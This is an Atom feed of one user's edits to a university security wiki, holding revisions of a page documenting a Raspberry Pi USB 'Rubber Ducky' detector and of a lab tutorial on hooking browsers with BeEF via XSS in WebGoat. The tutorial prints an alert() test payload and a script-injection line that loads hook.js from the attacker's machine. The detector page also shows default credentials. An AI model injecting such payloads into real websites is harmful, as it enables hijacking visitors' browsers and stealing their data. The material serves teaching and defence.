<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JKasser</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JKasser"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/JKasser"/>
	<updated>2026-09-10T18:07:35Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11340</id>
		<title>Rubber Ducky Detector</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11340"/>
		<updated>2023-01-30T10:18:05Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article serves as documentation for using the Rubber Ducky Detector developed by students of the FH Campus Wien.&lt;br /&gt;
The Rubber Ducky Detector is a program running on a [[Raspberry Pi 4 Model B 8GB]] using RasPi OS that helps diminish attacks conducted with hotplug attack tools like the [[Hak5 Rubber Ducky]]. The Rubber Ducky is visually indistinguishable from a regular USB Stick, and pretends to be a Human Interface Device (HID) able to mimick keystrokes. The keystrokes can be pre-programmed in a custom payload. For further reference, see the detailed documentation for [[Hak5 Rubber Ducky]].&lt;br /&gt;
&lt;br /&gt;
The Rubber Ducky Detector is designed to run on an isolated system and provides a point where users can check unknown USB devices for maliciousness safely. After plugging in a device, the program checks if it is a Rubber Ducky. In case it is a legitimate USB drive, the Rubber Ducky Detector additionally checks for malicious file extensions and references the [https://www.clamav.net/ ClamAV] anti virus library to check for infected files.&lt;br /&gt;
&lt;br /&gt;
[[File:RubberDuckyDetector v2.jpg|thumb|right|250px|Rubber Ducky Detector]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Hardware: [[Raspberry Pi 4 4G Model B]] or [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* Operating system: Pi OS (32-bit) with desktop, or &#039;&#039;&#039;alternatively&#039;&#039;&#039; [https://drive.google.com/file/d/1rc4VAEZ_PBI_TmvLSsJv3klG4QjUyw9A/view this custom image] with pre-installed utilities and configurations&lt;br /&gt;
* Screen: JoyIT 3.2&amp;quot; Touchscreen Display or regular HDMI-able screen&lt;br /&gt;
* Flashing Tool: [https://www.raspberrypi.com/software/ RasPi Imager]&lt;br /&gt;
* Packages: &amp;lt;code&amp;gt;g++ libusb-1.0-0-dev clamav libclamav-dev libgtkmm-3.0-dev&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Usage ==&lt;br /&gt;
&lt;br /&gt;
=== Setup === &lt;br /&gt;
&lt;br /&gt;
# Download the custom image. If the official RasPi OS image is to be used, skip to step 2.&lt;br /&gt;
# Use the RasPi Imager to flash the image on a connected SD card. For the official RasPi OS distribution, click &amp;quot;Choose OS&amp;quot; and select the topmost option Raspberry Pi OS (32-bit). For the custom image, scroll down and select the &amp;quot;Custom Image&amp;quot; option to select a custom image file. Select the connected SD card and initiate the flashing process.&lt;br /&gt;
# Upon completion of flashing, insert the SD card into the Raspberry Pi, connect screens, and boot it up.&lt;br /&gt;
# The custom image should initiate the Rubber Ducky Detector program automatically upon startup. It uses the credentials &lt;br /&gt;
 username: pi&lt;br /&gt;
 password: duckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;For the official distribution only&#039;&#039;&#039;, complete the setup process, open a terminal and clone the repository with the command&lt;br /&gt;
 git clone https://git.fh-campuswien.ac.at/sisch/ducky-detector.git&lt;br /&gt;
then run the installer script&lt;br /&gt;
 sudo ./install.sh&lt;br /&gt;
The installer script installs all required dependencies automatically and offers optional configuration of the touchscreen and an autostart functionality. If permission to run the script is denied, make the script executable by entering the command&lt;br /&gt;
 sudo chmod +x install.h&lt;br /&gt;
After completing setup, enter the ducky-detector directory and compile the program by entering the command&lt;br /&gt;
 sudo make&lt;br /&gt;
When the compilation is finished, run the program by typing&lt;br /&gt;
 ./DuckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attention!&#039;&#039;&#039; Unplug all connected USB devices before initiating the scanning process.&lt;br /&gt;
&lt;br /&gt;
=== Step 1: First Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
To scan a device, press &#039;OK&#039; to initiate the process. &#039;&#039;&#039;After that&#039;&#039;&#039;, insert the USB drive, and press &#039;OK&#039; again.&lt;br /&gt;
If the connected device is an HID, the tool will cancel the scanning process and warn the user.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Second Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
After passing the first check, the program will check for additional partitions on the device, and warn users if multiple partitions or file systems are detected. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Partition Analysis ===&lt;br /&gt;
&lt;br /&gt;
If The Periphery Scan is complted and no critical Interface was detected, the Rubber Ducky Detector will check for malicious hidden partitions on the USB Stick. If the &lt;br /&gt;
&lt;br /&gt;
=== Step 4: File Extension Analysis ===&lt;br /&gt;
&lt;br /&gt;
If all periphery scans are passed, the Rubber Ducky Detector analyses the file extensions of all files contained on the USB drive, and check for extensions with possible malicious consequences like executables. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Malware Analysis ===&lt;br /&gt;
&lt;br /&gt;
To scan the device for malware, a ClamAV Engine is created that subsequently accesses an online database to downloads signatures. It then checks the files against these signatures to detect infected files. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
== Further Development ==&lt;br /&gt;
&lt;br /&gt;
The project is hosted on [https://git.fh-campuswien.ac.at/sisch/ducky-detector GitLab]. The GUI has recently been updated to be easily editable by using the tool [https://glade.gnome.org/ Glade]. The GUI is optimized for a small touchscreen, but can easily be edited and upscaled by using Glade. To edit, open the &amp;lt;code&amp;gt;duckyDetector.glade&amp;lt;/code&amp;gt; file in Glade. To view applied changes in the actual running program, no recompilation is necessary as the application pulls the data from the Glade file at runtime.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* [https://joy-it.net/en/products/RB-TFT3.2V2 JoyIT 3.2&amp;quot; Touchscreen Display]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/ Rubber Ducky Introduction]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads Rubber Ducky Official Payload Library]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11339</id>
		<title>Rubber Ducky Detector</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11339"/>
		<updated>2023-01-30T10:15:15Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article serves as documentation for using the Rubber Ducky Detector developed by students of the FH Campus Wien.&lt;br /&gt;
The Rubber Ducky Detector is a program running on a [[Raspberry Pi 4 Model B 8GB]] using RasPi OS that helps diminish attacks conducted with hotplug attack tools like the [[Hak5 Rubber Ducky]]. The Rubber Ducky is visually indistinguishable from a regular USB Stick, and pretends to be a Human Interface Device (HID) able to mimick keystrokes. The keystrokes can be pre-programmed in a custom payload. For further reference, see the detailed documentation for [[Hak5 Rubber Ducky]].&lt;br /&gt;
&lt;br /&gt;
The Rubber Ducky Detector is designed to run on an isolated system and provides a point where users can check unknown USB devices for maliciousness safely. After plugging in a device, the program checks if it is a Rubber Ducky. In case it is a legitimate USB drive, the Rubber Ducky Detector additionally checks for malicious file extensions and references the [https://www.clamav.net/ ClamAV] anti virus library to check for infected files.&lt;br /&gt;
&lt;br /&gt;
[[File:RubberDuckyDetector v2.jpg|upright=factor]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Hardware: [[Raspberry Pi 4 4G Model B]] or [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* Operating system: Pi OS (32-bit) with desktop, or &#039;&#039;&#039;alternatively&#039;&#039;&#039; [https://drive.google.com/file/d/1rc4VAEZ_PBI_TmvLSsJv3klG4QjUyw9A/view this custom image] with pre-installed utilities and configurations&lt;br /&gt;
* Screen: JoyIT 3.2&amp;quot; Touchscreen Display or regular HDMI-able screen&lt;br /&gt;
* Flashing Tool: [https://www.raspberrypi.com/software/ RasPi Imager]&lt;br /&gt;
* Packages: &amp;lt;code&amp;gt;g++ libusb-1.0-0-dev clamav libclamav-dev libgtkmm-3.0-dev&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Usage ==&lt;br /&gt;
&lt;br /&gt;
=== Setup === &lt;br /&gt;
&lt;br /&gt;
# Download the custom image. If the official RasPi OS image is to be used, skip to step 2.&lt;br /&gt;
# Use the RasPi Imager to flash the image on a connected SD card. For the official RasPi OS distribution, click &amp;quot;Choose OS&amp;quot; and select the topmost option Raspberry Pi OS (32-bit). For the custom image, scroll down and select the &amp;quot;Custom Image&amp;quot; option to select a custom image file. Select the connected SD card and initiate the flashing process.&lt;br /&gt;
# Upon completion of flashing, insert the SD card into the Raspberry Pi, connect screens, and boot it up.&lt;br /&gt;
# The custom image should initiate the Rubber Ducky Detector program automatically upon startup. It uses the credentials &lt;br /&gt;
 username: pi&lt;br /&gt;
 password: duckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;For the official distribution only&#039;&#039;&#039;, complete the setup process, open a terminal and clone the repository with the command&lt;br /&gt;
 git clone https://git.fh-campuswien.ac.at/sisch/ducky-detector.git&lt;br /&gt;
then run the installer script&lt;br /&gt;
 sudo ./install.sh&lt;br /&gt;
The installer script installs all required dependencies automatically and offers optional configuration of the touchscreen and an autostart functionality. If permission to run the script is denied, make the script executable by entering the command&lt;br /&gt;
 sudo chmod +x install.h&lt;br /&gt;
After completing setup, enter the ducky-detector directory and compile the program by entering the command&lt;br /&gt;
 sudo make&lt;br /&gt;
When the compilation is finished, run the program by typing&lt;br /&gt;
 ./DuckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attention!&#039;&#039;&#039; Unplug all connected USB devices before initiating the scanning process.&lt;br /&gt;
&lt;br /&gt;
=== Step 1: First Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
To scan a device, press &#039;OK&#039; to initiate the process. &#039;&#039;&#039;After that&#039;&#039;&#039;, insert the USB drive, and press &#039;OK&#039; again.&lt;br /&gt;
If the connected device is an HID, the tool will cancel the scanning process and warn the user.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Second Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
After passing the first check, the program will check for additional partitions on the device, and warn users if multiple partitions or file systems are detected. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Partition Analysis ===&lt;br /&gt;
&lt;br /&gt;
If The Periphery Scan is complted and no critical Interface was detected, the Rubber Ducky Detector will check for malicious hidden partitions on the USB Stick. If the &lt;br /&gt;
&lt;br /&gt;
=== Step 4: File Extension Analysis ===&lt;br /&gt;
&lt;br /&gt;
If all periphery scans are passed, the Rubber Ducky Detector analyses the file extensions of all files contained on the USB drive, and check for extensions with possible malicious consequences like executables. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Malware Analysis ===&lt;br /&gt;
&lt;br /&gt;
To scan the device for malware, a ClamAV Engine is created that subsequently accesses an online database to downloads signatures. It then checks the files against these signatures to detect infected files. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
== Further Development ==&lt;br /&gt;
&lt;br /&gt;
The project is hosted on [https://git.fh-campuswien.ac.at/sisch/ducky-detector GitLab]. The GUI has recently been updated to be easily editable by using the tool [https://glade.gnome.org/ Glade]. The GUI is optimized for a small touchscreen, but can easily be edited and upscaled by using Glade. To edit, open the &amp;lt;code&amp;gt;duckyDetector.glade&amp;lt;/code&amp;gt; file in Glade. To view applied changes in the actual running program, no recompilation is necessary as the application pulls the data from the Glade file at runtime.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* [https://joy-it.net/en/products/RB-TFT3.2V2 JoyIT 3.2&amp;quot; Touchscreen Display]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/ Rubber Ducky Introduction]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads Rubber Ducky Official Payload Library]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11338</id>
		<title>Rubber Ducky Detector</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11338"/>
		<updated>2023-01-30T10:09:44Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article serves as documentation for using the Rubber Ducky Detector developed by students of the FH Campus Wien.&lt;br /&gt;
The Rubber Ducky Detector is a program running on a [[Raspberry Pi 4 Model B 8GB]] using RasPi OS that helps diminish attacks conducted with hotplug attack tools like the [[Hak5 Rubber Ducky]]. The Rubber Ducky is visually indistinguishable from a regular USB Stick, and pretends to be a Human Interface Device (HID) able to mimick keystrokes. The keystrokes can be pre-programmed in a custom payload. For further reference, see the detailed documentation for [[Hak5 Rubber Ducky]].&lt;br /&gt;
&lt;br /&gt;
The Rubber Ducky Detector is designed to run on an isolated system and provides a point where users can check unknown USB devices for maliciousness safely. After plugging in a device, the program checks if it is a Rubber Ducky. In case it is a legitimate USB drive, the Rubber Ducky Detector additionally checks for malicious file extensions and references the [https://www.clamav.net/ ClamAV] anti virus library to check for infected files.&lt;br /&gt;
&lt;br /&gt;
[[File:RubberDuckyDetector v2.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Hardware: [[Raspberry Pi 4 4G Model B]] or [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* Operating system: Pi OS (32-bit) with desktop, or &#039;&#039;&#039;alternatively&#039;&#039;&#039; [https://drive.google.com/file/d/1rc4VAEZ_PBI_TmvLSsJv3klG4QjUyw9A/view this custom image] with pre-installed utilities and configurations&lt;br /&gt;
* Screen: JoyIT 3.2&amp;quot; Touchscreen Display or regular HDMI-able screen&lt;br /&gt;
* Flashing Tool: [https://www.raspberrypi.com/software/ RasPi Imager]&lt;br /&gt;
* Packages: &amp;lt;code&amp;gt;g++ libusb-1.0-0-dev clamav libclamav-dev libgtkmm-3.0-dev&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Usage ==&lt;br /&gt;
&lt;br /&gt;
=== Setup === &lt;br /&gt;
&lt;br /&gt;
# Download the custom image. If the official RasPi OS image is to be used, skip to step 2.&lt;br /&gt;
# Use the RasPi Imager to flash the image on a connected SD card. For the official RasPi OS distribution, click &amp;quot;Choose OS&amp;quot; and select the topmost option Raspberry Pi OS (32-bit). For the custom image, scroll down and select the &amp;quot;Custom Image&amp;quot; option to select a custom image file. Select the connected SD card and initiate the flashing process.&lt;br /&gt;
# Upon completion of flashing, insert the SD card into the Raspberry Pi, connect screens, and boot it up.&lt;br /&gt;
# The custom image should initiate the Rubber Ducky Detector program automatically upon startup. It uses the credentials &lt;br /&gt;
 username: pi&lt;br /&gt;
 password: duckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;For the official distribution only&#039;&#039;&#039;, complete the setup process, open a terminal and clone the repository with the command&lt;br /&gt;
 git clone https://git.fh-campuswien.ac.at/sisch/ducky-detector.git&lt;br /&gt;
then run the installer script&lt;br /&gt;
 sudo ./install.sh&lt;br /&gt;
The installer script installs all required dependencies automatically and offers optional configuration of the touchscreen and an autostart functionality. If permission to run the script is denied, make the script executable by entering the command&lt;br /&gt;
 sudo chmod +x install.h&lt;br /&gt;
After completing setup, enter the ducky-detector directory and compile the program by entering the command&lt;br /&gt;
 sudo make&lt;br /&gt;
When the compilation is finished, run the program by typing&lt;br /&gt;
 ./DuckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attention!&#039;&#039;&#039; Unplug all connected USB devices before initiating the scanning process.&lt;br /&gt;
&lt;br /&gt;
=== Step 1: First Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
To scan a device, press &#039;OK&#039; to initiate the process. &#039;&#039;&#039;After that&#039;&#039;&#039;, insert the USB drive, and press &#039;OK&#039; again.&lt;br /&gt;
If the connected device is an HID, the tool will cancel the scanning process and warn the user.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Second Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
After passing the first check, the program will check for additional partitions on the device, and warn users if multiple partitions or file systems are detected. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Partition Analysis ===&lt;br /&gt;
&lt;br /&gt;
If The Periphery Scan is complted and no critical Interface was detected, the Rubber Ducky Detector will check for malicious hidden partitions on the USB Stick. If the &lt;br /&gt;
&lt;br /&gt;
=== Step 4: File Extension Analysis ===&lt;br /&gt;
&lt;br /&gt;
If all periphery scans are passed, the Rubber Ducky Detector analyses the file extensions of all files contained on the USB drive, and check for extensions with possible malicious consequences like executables. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Malware Analysis ===&lt;br /&gt;
&lt;br /&gt;
To scan the device for malware, a ClamAV Engine is created that subsequently accesses an online database to downloads signatures. It then checks the files against these signatures to detect infected files. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
== Further Development ==&lt;br /&gt;
&lt;br /&gt;
The project is hosted on [https://git.fh-campuswien.ac.at/sisch/ducky-detector GitLab]. The GUI has recently been updated to be easily editable by using the tool [https://glade.gnome.org/ Glade]. The GUI is optimized for a small touchscreen, but can easily be edited and upscaled by using Glade. To edit, open the &amp;lt;code&amp;gt;duckyDetector.glade&amp;lt;/code&amp;gt; file in Glade. To view applied changes in the actual running program, no recompilation is necessary as the application pulls the data from the Glade file at runtime.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* [https://joy-it.net/en/products/RB-TFT3.2V2 JoyIT 3.2&amp;quot; Touchscreen Display]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/ Rubber Ducky Introduction]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads Rubber Ducky Official Payload Library]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:RubberDuckyDetector_v2.jpg&amp;diff=11337</id>
		<title>File:RubberDuckyDetector v2.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:RubberDuckyDetector_v2.jpg&amp;diff=11337"/>
		<updated>2023-01-30T10:08:18Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10760</id>
		<title>Utilizing XSS Vulnerabilities to hook a browser with BeeF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10760"/>
		<updated>2023-01-07T12:00:17Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article provides a step-by-step documentation of how to &amp;quot;hook&amp;quot; a victims&#039; browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Any OS which can run BeeF and WebGoat&lt;br /&gt;
** For the documentation Kali Linux 2022.1 was used&lt;br /&gt;
* Software: &lt;br /&gt;
** [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] &lt;br /&gt;
** For a Website which is vulnerable against XSS Attacks [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] was used (but you can use any website which has a XSS Vulnerability&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
Please Install the required software following the documentation provided in [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] and [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] first before returning back here. You should be able to start both programs locally.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
XSS attacks are a sort of injection attack in which malicious scripts are injected into otherwise innocuous and trustworthy web pages. When an attacker injects malicious code into a website, it executes in the browser of a person who accesses that site. This gives the attacker the ability to steal user data, such as login passwords, or to alter the website in numerous ways. XSS attacks may be used to circumvent access restrictions and permissions, perform phishing attacks, and propagate malware. XSS assaults are classified into three types: persistent XSS, reflected XSS, and DOM-based XSS. To fight against XSS attacks, it is critical to validate and sanitize user input, as well as to implement content security controls. [[https://wiki.elvis.science/index.php?title=Cross-Site-Scripting_(XSS) XSS]]&lt;br /&gt;
&lt;br /&gt;
This Vulnerability will get exploited where a malicious script provided by the BeEF Framework will get injected into the target website and the script will create a backdoor to the attackers machiene where BeEF is running. This will open a new session where the Attacker can now target the victims Browser Page utilizing pre-formed attacks provided by the BeeF Framework.&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Identifying a XSS Vulnerability  ===&lt;br /&gt;
&lt;br /&gt;
Locate a XSS Vulenrability. A typical reflected XSS attack can be tested by injecting a basic JavaScript tag into a user input field with an alarm command. In the case of a vulnerable user input field, i.e. a field that the web server considers a trusted source and the dynamic context of the user input is not checked for malicious behavior, the JavaScript command is executed and a virtual JavaScript alert box is displayed over the web page, preventing the user from using the web page until the box is closed. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert(&amp;quot;Hello from XSS!&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 2.png|thumb|Successful XSS Attack output]]&lt;br /&gt;
&lt;br /&gt;
Using WebGoat, many XSS vulnerable Input fields can be discovered. For the documentation, an XSS Vulnerable Field was used at chapter Injection --&amp;gt; XSS --&amp;gt; Shoping Cart.&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 1.png|thumb|XSS Vulnerability in WebGoat]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Injection of malicious BeeF Script ===&lt;br /&gt;
&lt;br /&gt;
To be able to inject a malicious BeeF Script, one should start up the Browser Exploitation Framework. If the Framework got started up sucessfully, it will display a BeeF Hook URL in the console which should be used. This Link is a direct URL which gets hosted on the attackers machiene (where BeeF got started) to the malicious Script. &lt;br /&gt;
&lt;br /&gt;
[[File:BeeF_HookUrl.png|thumb|Injection Script Link and UI Panel Link at startup]]&lt;br /&gt;
&lt;br /&gt;
 #BeeF running on my local kali linux machiene (192.168.5.8)&lt;br /&gt;
 BeeF Hook URL: http://192.168.5.8:3000/hook.js&lt;br /&gt;
 &lt;br /&gt;
 #Injection command&lt;br /&gt;
 &amp;lt;script src=”http://192.168.5.8:3000/hook.js”&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Exploiting Browser Page using pre-defined Attack Vectors ===&lt;br /&gt;
&lt;br /&gt;
Once the Script got successfully injected, the attacker will be able to see a new open session in his UI Terminal (located at http://localhost:3000/ui/panel). He is now able to retrieve any information about the hooked client. He can exploit the browser using a variety of Social Engineering Tools, exploitation of different browser types and versions, etc. &lt;br /&gt;
&lt;br /&gt;
[[File:HookedBrowser.png|thumb|Hooked Browser in BeeF UI panel]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://beefproject.com/&lt;br /&gt;
* https://owasp.org/www-community/attacks/xss/&lt;br /&gt;
* https://owasp.org/www-project-webgoat/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10759</id>
		<title>Utilizing XSS Vulnerabilities to hook a browser with BeeF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10759"/>
		<updated>2023-01-07T12:00:00Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article provides a step-by-step documentation of how to &amp;quot;hook&amp;quot; a victims&#039; browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Any OS which can run BeeF and WebGoat&lt;br /&gt;
** For the documentation Kali Linux 2022.1 was used&lt;br /&gt;
* Software: &lt;br /&gt;
** [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] &lt;br /&gt;
** For a Website which is vulnerable against XSS Attacks [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] was used (but you can use any website which has a XSS Vulnerability&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
Please Install the required software following the documentation provided in [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] and [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] first before returning back here. You should be able to start both programs locally.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
XSS attacks are a sort of injection attack in which malicious scripts are injected into otherwise innocuous and trustworthy web pages. When an attacker injects malicious code into a website, it executes in the browser of a person who accesses that site. This gives the attacker the ability to steal user data, such as login passwords, or to alter the website in numerous ways. XSS attacks may be used to circumvent access restrictions and permissions, perform phishing attacks, and propagate malware. XSS assaults are classified into three types: persistent XSS, reflected XSS, and DOM-based XSS. To fight against XSS attacks, it is critical to validate and sanitize user input, as well as to implement content security controls. [[https://wiki.elvis.science/index.php?title=Cross-Site-Scripting_(XSS) XSS]]&lt;br /&gt;
&lt;br /&gt;
This Vulnerability will get exploited where a malicious script provided by the BeEF Framework will get injected into the target website and the script will create a backdoor to the attackers machiene where BeEF is running. This will open a new session where the Attacker can now target the victims Browser Page utilizing pre-formed attacks provided by the BeeF Framework.&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Identifying a XSS Vulnerability  ===&lt;br /&gt;
&lt;br /&gt;
Locate a XSS Vulenrability. A typical reflected XSS attack can be tested by injecting a basic JavaScript tag into a user input field with an alarm command. In the case of a vulnerable user input field, i.e. a field that the web server considers a trusted source and the dynamic context of the user input is not checked for malicious behavior, the JavaScript command is executed and a virtual JavaScript alert box is displayed over the web page, preventing the user from using the web page until the box is closed. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert(&amp;quot;Hello from XSS!&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 2.png|thumb|Successful XSS Attack output]]&lt;br /&gt;
&lt;br /&gt;
Using WebGoat, many XSS vulnerable Input fields can be discovered. For the documentation, an XSS Vulnerable Field was used at chapter Injection --&amp;gt; XSS --&amp;gt; Shoping Cart.&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 1.png|thumb|XSS Vulnerability in WebGoat]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Injection of malicious BeeF Script ===&lt;br /&gt;
&lt;br /&gt;
